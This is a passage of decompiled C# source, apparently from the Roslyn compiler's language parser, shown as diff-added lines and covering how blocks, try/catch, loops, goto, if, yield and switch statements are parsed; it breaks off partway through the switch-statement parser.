IsPossibleTypedIdentifierStart(SyntaxToken current, SyntaxToken next, bool allowThisKeyword) + { + if (IsTrueIdentifier(current)) + { + switch (next.Kind) + { + case SyntaxKind.AsteriskToken: + case SyntaxKind.OpenBracketToken: + case SyntaxKind.LessThanToken: + case SyntaxKind.DotToken: + case SyntaxKind.QuestionToken: + case SyntaxKind.ColonColonToken: + return null; + case SyntaxKind.OpenParenToken: + if (current.IsIdentifierVar()) + { + return null; + } + return false; + case SyntaxKind.IdentifierToken: + return IsTrueIdentifier(next); + case SyntaxKind.ThisKeyword: + return allowThisKeyword; + default: + return false; + } + } + return null; + } + + private BlockSyntax ParsePossiblyAttributedBlock() + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + return ParseBlock(ParseAttributeDeclarations(inExpressionContext: false)); + } + + private BlockSyntax ParseMethodOrAccessorBodyBlock(SyntaxList attributes, bool isAccessorBody) + { + //IL_007c: Unknown result type (might be due to invalid IL or missing references) + //IL_0081: Unknown result type (might be due to invalid IL or missing references) + //IL_0085: Unknown result type (might be due to invalid IL or missing references) + //IL_0092: Unknown result type (might be due to invalid IL or missing references) + //IL_0099: Unknown result type (might be due to invalid IL or missing references) + //IL_00a9: Unknown result type (might be due to invalid IL or missing references) + //IL_00b9: Unknown result type (might be due to invalid IL or missing references) + //IL_00a1: Unknown result type (might be due to invalid IL or missing references) + //IL_00a2: Unknown result type (might be due to invalid IL or missing references) + //IL_00d4: Unknown result type (might be due to invalid IL or missing references) + if (IsIncrementalAndFactoryContextMatches && base.CurrentNodeKind == SyntaxKind.Block && attributes.Count == 0) + { + return (BlockSyntax)(object)EatNode(); + } + CSharpSyntaxNode previousNode = ((isAccessorBody && base.CurrentToken.Kind != SyntaxKind.OpenBraceToken) ? AddError(SyntaxFactory.MissingToken(SyntaxKind.OpenBraceToken), IsFeatureEnabled(MessageID.IDS_FeatureExpressionBodiedAccessor) ? ErrorCode.ERR_SemiOrLBraceOrArrowExpected : ErrorCode.ERR_SemiOrLBraceExpected) : EatToken(SyntaxKind.OpenBraceToken)); + SyntaxListBuilder val = _pool.Allocate(); + ParseStatements(ref previousNode, val, stopOnSwitchSections: false); + BlockSyntax result = _syntaxFactory.Block(attributes, (SyntaxToken)previousNode, IsLargeEnoughNonEmptyStatementList(val) ? new SyntaxList(SyntaxList.List(SyntaxListBuilder.op_Implicit(val).ToArray())) : SyntaxListBuilder.op_Implicit(val), EatToken(SyntaxKind.CloseBraceToken)); + _pool.Free(SyntaxListBuilder.op_Implicit(val)); + return result; + } + + private BlockSyntax ParseBlock(SyntaxList attributes) + { + //IL_003c: Unknown result type (might be due to invalid IL or missing references) + //IL_0041: Unknown result type (might be due to invalid IL or missing references) + //IL_0045: Unknown result type (might be due to invalid IL or missing references) + //IL_0052: Unknown result type (might be due to invalid IL or missing references) + //IL_005f: Unknown result type (might be due to invalid IL or missing references) + //IL_0060: Unknown result type (might be due to invalid IL or missing references) + if (IsIncrementalAndFactoryContextMatches && base.CurrentNodeKind == SyntaxKind.Block && attributes.Count == 0) + { + return (BlockSyntax)(object)EatNode(); + } + CSharpSyntaxNode previousNode = EatToken(SyntaxKind.OpenBraceToken); + SyntaxListBuilder val = _pool.Allocate(); + ParseStatements(ref previousNode, val, stopOnSwitchSections: false); + return _syntaxFactory.Block(attributes, (SyntaxToken)previousNode, _pool.ToListAndFree(val), EatToken(SyntaxKind.CloseBraceToken)); + } + + private static bool IsLargeEnoughNonEmptyStatementList(SyntaxListBuilder statements) + { + if (statements.Count == 0) + { + return false; + } + if (statements.Count == 1) + { + return ((GreenNode)statements[0]).Width > 60; + } + return true; + } + + private void ParseStatements(ref CSharpSyntaxNode previousNode, SyntaxListBuilder statements, bool stopOnSwitchSections) + { + //IL_0051: Unknown result type (might be due to invalid IL or missing references) + //IL_0048: Unknown result type (might be due to invalid IL or missing references) + TerminatorState termState = _termState; + _termState |= TerminatorState.IsPossibleStatementStartOrStop; + if (stopOnSwitchSections) + { + _termState |= TerminatorState.IsSwitchSectionStart; + } + int lastTokenPosition = -1; + PostSkipAction num; + do + { + IL_006f: + SyntaxKind kind = base.CurrentToken.Kind; + if (kind == SyntaxKind.CloseBraceToken || kind == SyntaxKind.EndOfFileToken || (stopOnSwitchSections && IsPossibleSwitchSection()) || !IsMakingProgress(ref lastTokenPosition)) + { + break; + } + if (IsPossibleStatement(acceptAccessibilityMods: true)) + { + StatementSyntax statementSyntax = ParsePossiblyAttributedStatement(); + if (statementSyntax != null) + { + statements.Add(statementSyntax); + goto IL_006f; + } + } + num = SkipBadStatementListTokens(statements, SyntaxKind.CloseBraceToken, out var trailingTrivia); + if (trailingTrivia != null) + { + previousNode = AddTrailingSkippedSyntax(previousNode, trailingTrivia); + } + } + while (num != PostSkipAction.Abort); + _termState = termState; + } + + private bool IsPossibleStatementStartOrStop() + { + if (base.CurrentToken.Kind != SyntaxKind.SemicolonToken) + { + return IsPossibleStatement(acceptAccessibilityMods: true); + } + return true; + } + + private PostSkipAction SkipBadStatementListTokens(SyntaxListBuilder statements, SyntaxKind expected, out GreenNode trailingTrivia) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return SkipBadListTokensWithExpectedKindHelper(SyntaxListBuilder.op_Implicit(statements), (LanguageParser p) => !p.IsPossibleStatement(acceptAccessibilityMods: false), (LanguageParser p, SyntaxKind _) => p.CurrentToken.Kind == SyntaxKind.CloseBraceToken, expected, SyntaxKind.None, out trailingTrivia); + } + + private bool IsPossibleStatement(bool acceptAccessibilityMods) + { + SyntaxKind kind = base.CurrentToken.Kind; + switch (kind) + { + case SyntaxKind.OpenBraceToken: + case SyntaxKind.OpenBracketToken: + case SyntaxKind.SemicolonToken: + case SyntaxKind.IfKeyword: + case SyntaxKind.ElseKeyword: + case SyntaxKind.WhileKeyword: + case SyntaxKind.ForKeyword: + case SyntaxKind.ForEachKeyword: + case SyntaxKind.DoKeyword: + case SyntaxKind.SwitchKeyword: + case SyntaxKind.CaseKeyword: + case SyntaxKind.TryKeyword: + case SyntaxKind.LockKeyword: + case SyntaxKind.GotoKeyword: + case SyntaxKind.BreakKeyword: + case SyntaxKind.ContinueKeyword: + case SyntaxKind.ReturnKeyword: + case SyntaxKind.ThrowKeyword: + case SyntaxKind.StaticKeyword: + case SyntaxKind.ReadOnlyKeyword: + case SyntaxKind.ConstKeyword: + case SyntaxKind.FixedKeyword: + case SyntaxKind.VolatileKeyword: + case SyntaxKind.ExternKeyword: + case SyntaxKind.RefKeyword: + case SyntaxKind.UsingKeyword: + case SyntaxKind.CheckedKeyword: + case SyntaxKind.UncheckedKeyword: + case SyntaxKind.UnsafeKeyword: + return true; + case SyntaxKind.IdentifierToken: + return IsTrueIdentifier(); + case SyntaxKind.PublicKeyword: + case SyntaxKind.PrivateKeyword: + case SyntaxKind.InternalKeyword: + case SyntaxKind.ProtectedKeyword: + return acceptAccessibilityMods; + default: + if (!IsPredefinedType(kind)) + { + return IsPossibleExpression(); + } + return true; + } + } + + private FixedStatementSyntax ParseFixedStatement(SyntaxList attributes) + { + //IL_0045: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken fixedKeyword = EatToken(SyntaxKind.FixedKeyword); + SyntaxToken openParenToken = EatToken(SyntaxKind.OpenParenToken); + TerminatorState termState = _termState; + _termState |= TerminatorState.IsEndOfFixedStatement; + VariableDeclarationSyntax declaration = ParseParenthesizedVariableDeclaration(); + _termState = termState; + return _syntaxFactory.FixedStatement(attributes, fixedKeyword, openParenToken, declaration, EatToken(SyntaxKind.CloseParenToken), ParseEmbeddedStatement()); + } + + private bool IsEndOfFixedStatement() + { + SyntaxKind kind = base.CurrentToken.Kind; + if (kind == SyntaxKind.CloseParenToken || kind == SyntaxKind.OpenBraceToken || kind == SyntaxKind.SemicolonToken) + { + return true; + } + return false; + } + + private StatementSyntax ParseEmbeddedStatement() + { + return parseEmbeddedStatementRest(ParsePossiblyAttributedStatement()); + StatementSyntax parseEmbeddedStatementRest(StatementSyntax statement) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0083: Unknown result type (might be due to invalid IL or missing references) + if (statement == null) + { + return SyntaxFactory.EmptyStatement(default(SyntaxList), EatToken(SyntaxKind.SemicolonToken)); + } + if (statement.Kind == SyntaxKind.ExpressionStatement && base.IsScript) + { + ExpressionStatementSyntax expressionStatementSyntax = (ExpressionStatementSyntax)statement; + SyntaxToken semicolonToken = expressionStatementSyntax.SemicolonToken; + if (((GreenNode)semicolonToken).IsMissing && !EnumerableExtensions.Contains((IEnumerable)((GreenNode)semicolonToken).GetDiagnostics(), (Func)((DiagnosticInfo diagnosticInfo) => diagnosticInfo.Code == 1002))) + { + semicolonToken = AddError(semicolonToken, ErrorCode.ERR_SemicolonExpected); + return expressionStatementSyntax.Update(expressionStatementSyntax.AttributeLists, expressionStatementSyntax.Expression, semicolonToken); + } + } + return statement; + } + } + + private BreakStatementSyntax ParseBreakStatement(SyntaxList attributes) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + return _syntaxFactory.BreakStatement(attributes, EatToken(SyntaxKind.BreakKeyword), EatToken(SyntaxKind.SemicolonToken)); + } + + private ContinueStatementSyntax ParseContinueStatement(SyntaxList attributes) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + return _syntaxFactory.ContinueStatement(attributes, EatToken(SyntaxKind.ContinueKeyword), EatToken(SyntaxKind.SemicolonToken)); + } + + private TryStatementSyntax ParseTryStatement(SyntaxList attributes) + { + //IL_0048: Unknown result type (might be due to invalid IL or missing references) + //IL_0068: Unknown result type (might be due to invalid IL or missing references) + //IL_006d: Unknown result type (might be due to invalid IL or missing references) + //IL_00fd: Unknown result type (might be due to invalid IL or missing references) + //IL_0106: Unknown result type (might be due to invalid IL or missing references) + //IL_0107: Unknown result type (might be due to invalid IL or missing references) + //IL_0078: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken syntaxToken = EatToken(SyntaxKind.TryKeyword); + BlockSyntax blockSyntax; + if (((GreenNode)syntaxToken).IsMissing) + { + blockSyntax = missingBlock(); + } + else + { + TerminatorState termState = _termState; + _termState |= TerminatorState.IsEndOfTryBlock; + blockSyntax = ParsePossiblyAttributedBlock(); + _termState = termState; + } + SyntaxListBuilder val = default(SyntaxListBuilder); + FinallyClauseSyntax finallyClauseSyntax = null; + if (base.CurrentToken.Kind == SyntaxKind.CatchKeyword) + { + val = _pool.Allocate(); + while (base.CurrentToken.Kind == SyntaxKind.CatchKeyword) + { + val.Add(ParseCatchClause()); + } + } + if (base.CurrentToken.Kind == SyntaxKind.FinallyKeyword) + { + finallyClauseSyntax = _syntaxFactory.FinallyClause(EatToken(), ParsePossiblyAttributedBlock()); + } + if (val.IsNull && finallyClauseSyntax == null) + { + if (!ContainsErrorDiagnostic((GreenNode)(object)blockSyntax)) + { + blockSyntax = AddErrorToLastToken(blockSyntax, ErrorCode.ERR_ExpectedEndTry); + } + finallyClauseSyntax = _syntaxFactory.FinallyClause(SyntaxFactory.MissingToken(SyntaxKind.FinallyKeyword), missingBlock()); + } + return _syntaxFactory.TryStatement(attributes, syntaxToken, blockSyntax, _pool.ToListAndFree(val), finallyClauseSyntax); + BlockSyntax missingBlock() + { + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + return _syntaxFactory.Block(default(SyntaxList), SyntaxFactory.MissingToken(SyntaxKind.OpenBraceToken), default(SyntaxList), SyntaxFactory.MissingToken(SyntaxKind.CloseBraceToken)); + } + } + + private bool IsEndOfTryBlock() + { + SyntaxKind kind = base.CurrentToken.Kind; + if (kind == SyntaxKind.CloseBraceToken || kind - 8335 <= SyntaxKind.List) + { + return true; + } + return false; + } + + private CatchClauseSyntax ParseCatchClause() + { + SyntaxToken catchKeyword = EatToken(); + CatchDeclarationSyntax declaration = null; + TerminatorState termState = _termState; + if (base.CurrentToken.Kind == SyntaxKind.OpenParenToken) + { + SyntaxToken openParenToken = EatToken(); + _termState |= TerminatorState.IsEndOfCatchClause; + TypeSyntax type = ParseType(); + SyntaxToken identifier = null; + if (IsTrueIdentifier()) + { + identifier = ParseIdentifierToken(); + } + _termState = termState; + SyntaxToken closeParenToken = EatToken(SyntaxKind.CloseParenToken); + declaration = _syntaxFactory.CatchDeclaration(openParenToken, type, identifier, closeParenToken); + } + CatchFilterClauseSyntax filter = null; + SyntaxKind contextualKind = base.CurrentToken.ContextualKind; + if (contextualKind == SyntaxKind.WhenKeyword || contextualKind == SyntaxKind.IfKeyword) + { + SyntaxToken syntaxToken = EatContextualToken(SyntaxKind.WhenKeyword); + if (contextualKind == SyntaxKind.IfKeyword) + { + syntaxToken = AddTrailingSkippedSyntax(syntaxToken, (GreenNode)(object)EatToken()); + } + _termState |= TerminatorState.IsEndOfFilterClause; + SyntaxToken openParenToken2 = EatToken(SyntaxKind.OpenParenToken); + ExpressionSyntax filterExpression = ParseExpressionCore(); + _termState = termState; + SyntaxToken closeParenToken2 = EatToken(SyntaxKind.CloseParenToken); + filter = _syntaxFactory.CatchFilterClause(syntaxToken, openParenToken2, filterExpression, closeParenToken2); + } + _termState |= TerminatorState.IsEndOfCatchBlock; + BlockSyntax block = ParsePossiblyAttributedBlock(); + _termState = termState; + return _syntaxFactory.CatchClause(catchKeyword, declaration, filter, block); + } + + private bool IsEndOfCatchClause() + { + SyntaxKind kind = base.CurrentToken.Kind; + if (kind == SyntaxKind.CloseParenToken || kind - 8205 <= SyntaxKind.List || kind - 8335 <= SyntaxKind.List) + { + return true; + } + return false; + } + + private bool IsEndOfFilterClause() + { + SyntaxKind kind = base.CurrentToken.Kind; + if (kind == SyntaxKind.CloseParenToken || kind - 8205 <= SyntaxKind.List || kind - 8335 <= SyntaxKind.List) + { + return true; + } + return false; + } + + private bool IsEndOfCatchBlock() + { + SyntaxKind kind = base.CurrentToken.Kind; + if (kind == SyntaxKind.CloseBraceToken || kind - 8335 <= SyntaxKind.List) + { + return true; + } + return false; + } + + private StatementSyntax ParseCheckedStatement(SyntaxList attributes) + { + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + if (PeekToken(1).Kind == SyntaxKind.OpenParenToken) + { + return ParseExpressionStatement(attributes); + } + SyntaxToken syntaxToken = EatToken(); + return _syntaxFactory.CheckedStatement(SyntaxFacts.GetCheckStatement(syntaxToken.Kind), attributes, syntaxToken, ParsePossiblyAttributedBlock()); + } + + private DoStatementSyntax ParseDoStatement(SyntaxList attributes) + { + //IL_005b: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken doKeyword = EatToken(SyntaxKind.DoKeyword); + StatementSyntax statement = ParseEmbeddedStatement(); + SyntaxToken whileKeyword = EatToken(SyntaxKind.WhileKeyword); + SyntaxToken openParenToken = EatToken(SyntaxKind.OpenParenToken); + TerminatorState termState = _termState; + _termState |= TerminatorState.IsEndOfDoWhileExpression; + ExpressionSyntax condition = ParseExpressionCore(); + _termState = termState; + return _syntaxFactory.DoStatement(attributes, doKeyword, statement, whileKeyword, openParenToken, condition, EatToken(SyntaxKind.CloseParenToken), EatToken(SyntaxKind.SemicolonToken)); + } + + private bool IsEndOfDoWhileExpression() + { + SyntaxKind kind = base.CurrentToken.Kind; + if (kind == SyntaxKind.CloseParenToken || kind == SyntaxKind.SemicolonToken) + { + return true; + } + return false; + } + + private StatementSyntax ParseForOrForEachStatement(SyntaxList attributes) + { + //IL_0068: Unknown result type (might be due to invalid IL or missing references) + //IL_0056: Unknown result type (might be due to invalid IL or missing references) + using DisposableResetPoint disposableResetPoint = GetDisposableResetPoint(resetOnDispose: false); + EatToken(); + if (EatToken().Kind == SyntaxKind.OpenParenToken && ScanType() != ScanTypeFlags.NotType && EatToken().Kind == SyntaxKind.IdentifierToken && EatToken().Kind == SyntaxKind.InKeyword) + { + disposableResetPoint.Reset(); + return ParseForEachStatement(attributes, null); + } + disposableResetPoint.Reset(); + return ParseForStatement(attributes); + } + + private ForStatementSyntax ParseForStatement(SyntaxList attributes) + { + //IL_003a: Unknown result type (might be due to invalid IL or missing references) + //IL_0042: Unknown result type (might be due to invalid IL or missing references) + //IL_0162: Unknown result type (might be due to invalid IL or missing references) + //IL_0167: Unknown result type (might be due to invalid IL or missing references) + //IL_01c2: Unknown result type (might be due to invalid IL or missing references) + //IL_01c7: Unknown result type (might be due to invalid IL or missing references) + //IL_01cf: Unknown result type (might be due to invalid IL or missing references) + //IL_01b5: Unknown result type (might be due to invalid IL or missing references) + //IL_01ba: Unknown result type (might be due to invalid IL or missing references) + //IL_013f: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken forKeyword = EatToken(SyntaxKind.ForKeyword); + SyntaxToken startToken = EatToken(SyntaxKind.OpenParenToken); + TerminatorState termState = _termState; + _termState |= TerminatorState.IsEndOfForStatementArgument; + ResetPoint state = GetResetPoint(); + SeparatedSyntaxList initializers = default(SeparatedSyntaxList); + SeparatedSyntaxList incrementors = default(SeparatedSyntaxList); + try + { + VariableDeclarationSyntax variableDeclarationSyntax = null; + bool flag = false; + bool flag2 = false; + if (base.CurrentToken.ContextualKind == SyntaxKind.ScopedKeyword) + { + if (PeekToken(1).Kind == SyntaxKind.RefKeyword) + { + flag = true; + } + else + { + EatToken(); + flag = ScanType() != ScanTypeFlags.NotType && base.CurrentToken.Kind == SyntaxKind.IdentifierToken; + Reset(ref state); + } + flag2 = flag; + } + else if (base.CurrentToken.Kind == SyntaxKind.RefKeyword) + { + flag = true; + } + if (!flag) + { + flag = !IsQueryExpression(mayBeVariableDeclaration: true, mayBeMemberDeclaration: false) && ScanType() != ScanTypeFlags.NotType && IsTrueIdentifier(); + Reset(ref state); + } + if (flag) + { + SyntaxToken syntaxToken = null; + if (flag2) + { + syntaxToken = EatContextualToken(SyntaxKind.ScopedKeyword); + } + variableDeclarationSyntax = ParseParenthesizedVariableDeclaration(); + TypeSyntax typeSyntax = variableDeclarationSyntax.Type; + if (syntaxToken != null) + { + typeSyntax = _syntaxFactory.ScopedType(syntaxToken, typeSyntax); + } + if (typeSyntax != variableDeclarationSyntax.Type) + { + variableDeclarationSyntax = variableDeclarationSyntax.Update(typeSyntax, variableDeclarationSyntax.Variables); + } + } + else if (base.CurrentToken.Kind != SyntaxKind.SemicolonToken) + { + initializers = ParseForStatementExpressionList(ref startToken); + } + SyntaxToken firstSemicolonToken = EatToken(SyntaxKind.SemicolonToken); + ExpressionSyntax condition = null; + if (base.CurrentToken.Kind != SyntaxKind.SemicolonToken) + { + condition = ParseExpressionCore(); + } + SyntaxToken startToken2 = EatToken(SyntaxKind.SemicolonToken); + if (base.CurrentToken.Kind != SyntaxKind.CloseParenToken) + { + incrementors = ParseForStatementExpressionList(ref startToken2); + } + return _syntaxFactory.ForStatement(attributes, forKeyword, startToken, variableDeclarationSyntax, initializers, firstSemicolonToken, condition, startToken2, incrementors, EatToken(SyntaxKind.CloseParenToken), ParseEmbeddedStatement()); + } + finally + { + _termState = termState; + Release(ref state); + } + } + + private bool IsEndOfForStatementArgument() + { + SyntaxKind kind = base.CurrentToken.Kind; + if (kind == SyntaxKind.CloseParenToken || kind == SyntaxKind.OpenBraceToken || kind == SyntaxKind.SemicolonToken) + { + return true; + } + return false; + } + + private SeparatedSyntaxList ParseForStatementExpressionList(ref SyntaxToken startToken) + { + //IL_0063: Unknown result type (might be due to invalid IL or missing references) + return ParseCommaSeparatedSyntaxList(ref startToken, SyntaxKind.CloseParenToken, (LanguageParser @this) => @this.IsPossibleExpression(), (LanguageParser @this) => @this.ParseExpressionCore(), skipBadForStatementExpressionListTokens, allowTrailingSeparator: false, requireOneElement: false, allowSemicolonAsSeparator: false); + static PostSkipAction skipBadForStatementExpressionListTokens(LanguageParser @this, ref SyntaxToken startToken2, SeparatedSyntaxListBuilder list, SyntaxKind expectedKind, SyntaxKind closeKind) + { + //IL_0029: Unknown result type (might be due to invalid IL or missing references) + SyntaxKind kind = @this.CurrentToken.Kind; + if ((kind == SyntaxKind.CloseParenToken || kind == SyntaxKind.SemicolonToken) ? true : false) + { + return PostSkipAction.Abort; + } + return @this.SkipBadSeparatedListTokensWithExpectedKind(ref startToken2, list, (LanguageParser p) => p.CurrentToken.Kind != SyntaxKind.CommaToken && !p.IsPossibleExpression(), (LanguageParser p, SyntaxKind syntaxKind) => p.CurrentToken.Kind == syntaxKind || p.CurrentToken.Kind == SyntaxKind.SemicolonToken, expectedKind, closeKind); + } + } + + private CommonForEachStatementSyntax ParseForEachStatement(SyntaxList attributes, SyntaxToken awaitTokenOpt) + { + //IL_0199: Unknown result type (might be due to invalid IL or missing references) + //IL_0179: Unknown result type (might be due to invalid IL or missing references) + //IL_0127: Unknown result type (might be due to invalid IL or missing references) + //IL_012c: Unknown result type (might be due to invalid IL or missing references) + //IL_0145: Unknown result type (might be due to invalid IL or missing references) + //IL_014a: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken forEachKeyword; + if (base.CurrentToken.Kind == SyntaxKind.ForKeyword) + { + SyntaxToken node = EatToken(); + node = AddError(node, ErrorCode.ERR_SyntaxError, SyntaxFacts.GetText(SyntaxKind.ForEachKeyword)); + forEachKeyword = ConvertToMissingWithTrailingTrivia(node, SyntaxKind.ForEachKeyword); + } + else + { + forEachKeyword = EatToken(SyntaxKind.ForEachKeyword); + } + SyntaxToken openParenToken = EatToken(SyntaxKind.OpenParenToken); + ExpressionSyntax expressionSyntax = ParseExpressionOrDeclaration(ParseTypeMode.Normal, permitTupleDesignation: true); + SyntaxToken syntaxToken = EatToken(SyntaxKind.InKeyword, ErrorCode.ERR_InExpected); + if (!IsValidForeachVariable(expressionSyntax)) + { + syntaxToken = AddError(syntaxToken, ErrorCode.ERR_BadForeachDecl); + } + ExpressionSyntax expression = ParseExpressionCore(); + SyntaxToken closeParenToken = EatToken(SyntaxKind.CloseParenToken); + StatementSyntax statement = ParseEmbeddedStatement(); + if (expressionSyntax is DeclarationExpressionSyntax declarationExpressionSyntax && declarationExpressionSyntax.designation.Kind != SyntaxKind.ParenthesizedVariableDesignation) + { + SyntaxToken identifier; + switch (declarationExpressionSyntax.designation.Kind) + { + case SyntaxKind.SingleVariableDesignation: + identifier = ((SingleVariableDesignationSyntax)declarationExpressionSyntax.designation).identifier; + break; + case SyntaxKind.DiscardDesignation: + { + SyntaxToken underscoreToken = ((DiscardDesignationSyntax)declarationExpressionSyntax.designation).underscoreToken; + identifier = SyntaxToken.WithValue(SyntaxKind.IdentifierToken, underscoreToken.LeadingTrivia.Node, underscoreToken.Text, underscoreToken.ValueText, underscoreToken.TrailingTrivia.Node); + break; + } + default: + throw ExceptionUtilities.UnexpectedValue((object)declarationExpressionSyntax.designation.Kind); + } + return _syntaxFactory.ForEachStatement(attributes, awaitTokenOpt, forEachKeyword, openParenToken, declarationExpressionSyntax.Type, identifier, syntaxToken, expression, closeParenToken, statement); + } + return _syntaxFactory.ForEachVariableStatement(attributes, awaitTokenOpt, forEachKeyword, openParenToken, expressionSyntax, syntaxToken, expression, closeParenToken, statement); + } + + private ExpressionSyntax ParseExpressionOrDeclaration(ParseTypeMode mode, bool permitTupleDesignation) + { + if (!IsPossibleDeclarationExpression(mode, permitTupleDesignation, out var isScoped)) + { + return ParseSubExpression(Precedence.Expression); + } + return ParseDeclarationExpression(mode, isScoped); + } + + private bool IsPossibleDeclarationExpression(ParseTypeMode mode, bool permitTupleDesignation, out bool isScoped) + { + isScoped = false; + if (IsInAsync && base.CurrentToken.ContextualKind == SyntaxKind.AwaitKeyword) + { + return false; + } + using DisposableResetPoint disposableResetPoint = GetDisposableResetPoint(resetOnDispose: true); + if (base.CurrentToken.ContextualKind == SyntaxKind.ScopedKeyword) + { + EatToken(); + if (ScanType() != ScanTypeFlags.NotType && base.CurrentToken.Kind == SyntaxKind.IdentifierToken) + { + switch (mode) + { + case ParseTypeMode.FirstElementOfPossibleTupleLiteral: + if (PeekToken(1).Kind == SyntaxKind.CommaToken) + { + isScoped = true; + return true; + } + break; + case ParseTypeMode.AfterTupleComma: + { + SyntaxKind kind = PeekToken(1).Kind; + if ((kind == SyntaxKind.CloseParenToken || kind == SyntaxKind.CommaToken) ? true : false) + { + isScoped = true; + return true; + } + break; + } + default: + isScoped = true; + return true; + } + } + disposableResetPoint.Reset(); + } + bool flag = IsVarType(); + if (ScanType(mode, out var lastTokenOfType) == ScanTypeFlags.NotType) + { + return false; + } + if (!ScanDesignation(permitTupleDesignation && (flag || IsPredefinedType(lastTokenOfType.Kind)))) + { + return false; + } + switch (mode) + { + case ParseTypeMode.FirstElementOfPossibleTupleLiteral: + return base.CurrentToken.Kind == SyntaxKind.CommaToken; + case ParseTypeMode.AfterTupleComma: + { + SyntaxKind kind = base.CurrentToken.Kind; + return (kind == SyntaxKind.CloseParenToken || kind == SyntaxKind.CommaToken) ? true : false; + } + default: + return true; + } + } + + private bool IsVarType() + { + if (!base.CurrentToken.IsIdentifierVar()) + { + return false; + } + switch (PeekToken(1).Kind) + { + case SyntaxKind.AsteriskToken: + case SyntaxKind.OpenBracketToken: + case SyntaxKind.LessThanToken: + case SyntaxKind.DotToken: + case SyntaxKind.QuestionToken: + case SyntaxKind.ColonColonToken: + return false; + default: + return true; + } + } + + private static bool IsValidForeachVariable(ExpressionSyntax variable) + { + return variable.Kind switch + { + SyntaxKind.DeclarationExpression => true, + SyntaxKind.TupleExpression => true, + SyntaxKind.IdentifierName => ((IdentifierNameSyntax)variable).Identifier.ContextualKind == SyntaxKind.UnderscoreToken, + _ => false, + }; + } + + private GotoStatementSyntax ParseGotoStatement(SyntaxList attributes) + { + //IL_0078: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken gotoKeyword = EatToken(SyntaxKind.GotoKeyword); + SyntaxToken syntaxToken = null; + ExpressionSyntax expression = null; + SyntaxKind kind = base.CurrentToken.Kind; + SyntaxKind kind2; + if (kind - 8332 <= SyntaxKind.List) + { + syntaxToken = EatToken(); + if (syntaxToken.Kind == SyntaxKind.CaseKeyword) + { + kind2 = SyntaxKind.GotoCaseStatement; + expression = ParseExpressionCore(); + } + else + { + kind2 = SyntaxKind.GotoDefaultStatement; + } + } + else + { + kind2 = SyntaxKind.GotoStatement; + expression = ParseIdentifierName(); + } + return _syntaxFactory.GotoStatement(kind2, attributes, gotoKeyword, syntaxToken, expression, EatToken(SyntaxKind.SemicolonToken)); + } + + private IfStatementSyntax ParseIfStatement(SyntaxList attributes) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + return _syntaxFactory.IfStatement(attributes, EatToken(SyntaxKind.IfKeyword), EatToken(SyntaxKind.OpenParenToken), ParseExpressionCore(), EatToken(SyntaxKind.CloseParenToken), ParseEmbeddedStatement(), ParseElseClauseOpt()); + } + + private IfStatementSyntax ParseMisplacedElse(SyntaxList attributes) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + //IL_003d: Unknown result type (might be due to invalid IL or missing references) + return _syntaxFactory.IfStatement(attributes, EatToken(SyntaxKind.IfKeyword, ErrorCode.ERR_ElseCannotStartStatement), EatToken(SyntaxKind.OpenParenToken), ParseExpressionCore(), EatToken(SyntaxKind.CloseParenToken), ParseExpressionStatement(default(SyntaxList)), ParseElseClauseOpt()); + } + + private ElseClauseSyntax ParseElseClauseOpt() + { + if (base.CurrentToken.Kind == SyntaxKind.ElseKeyword) + { + return _syntaxFactory.ElseClause(EatToken(SyntaxKind.ElseKeyword), ParseEmbeddedStatement()); + } + return null; + } + + private LockStatementSyntax ParseLockStatement(SyntaxList attributes) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + return _syntaxFactory.LockStatement(attributes, EatToken(SyntaxKind.LockKeyword), EatToken(SyntaxKind.OpenParenToken), ParseExpressionCore(), EatToken(SyntaxKind.CloseParenToken), ParseEmbeddedStatement()); + } + + private ReturnStatementSyntax ParseReturnStatement(SyntaxList attributes) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + return _syntaxFactory.ReturnStatement(attributes, EatToken(SyntaxKind.ReturnKeyword), (base.CurrentToken.Kind != SyntaxKind.SemicolonToken) ? ParsePossibleRefExpression() : null, EatToken(SyntaxKind.SemicolonToken)); + } + + private YieldStatementSyntax ParseYieldStatement(SyntaxList attributes) + { + //IL_0070: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken yieldKeyword = SyntaxParser.ConvertToKeyword(EatToken()); + ExpressionSyntax expression = null; + SyntaxKind kind; + SyntaxToken syntaxToken; + if (base.CurrentToken.Kind == SyntaxKind.BreakKeyword) + { + kind = SyntaxKind.YieldBreakStatement; + syntaxToken = EatToken(); + } + else + { + kind = SyntaxKind.YieldReturnStatement; + syntaxToken = EatToken(SyntaxKind.ReturnKeyword); + if (base.CurrentToken.Kind == SyntaxKind.SemicolonToken) + { + syntaxToken = AddError(syntaxToken, ErrorCode.ERR_EmptyYield); + } + else + { + expression = ParseExpressionCore(); + } + } + return _syntaxFactory.YieldStatement(kind, attributes, yieldKeyword, syntaxToken, expression, EatToken(SyntaxKind.SemicolonToken)); + } + + private SwitchStatementSyntax ParseSwitchStatement(SyntaxList attributes) + { + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + //IL_0048: Unknown result type (might be due to invalid IL or missing references) + //IL_004a: Unknown result type (might be due to invalid IL or missing references) + parseSwitchHeader(out var switchKeyword, out var openParen, out var expression, out var closeParen, out var openBrace); + 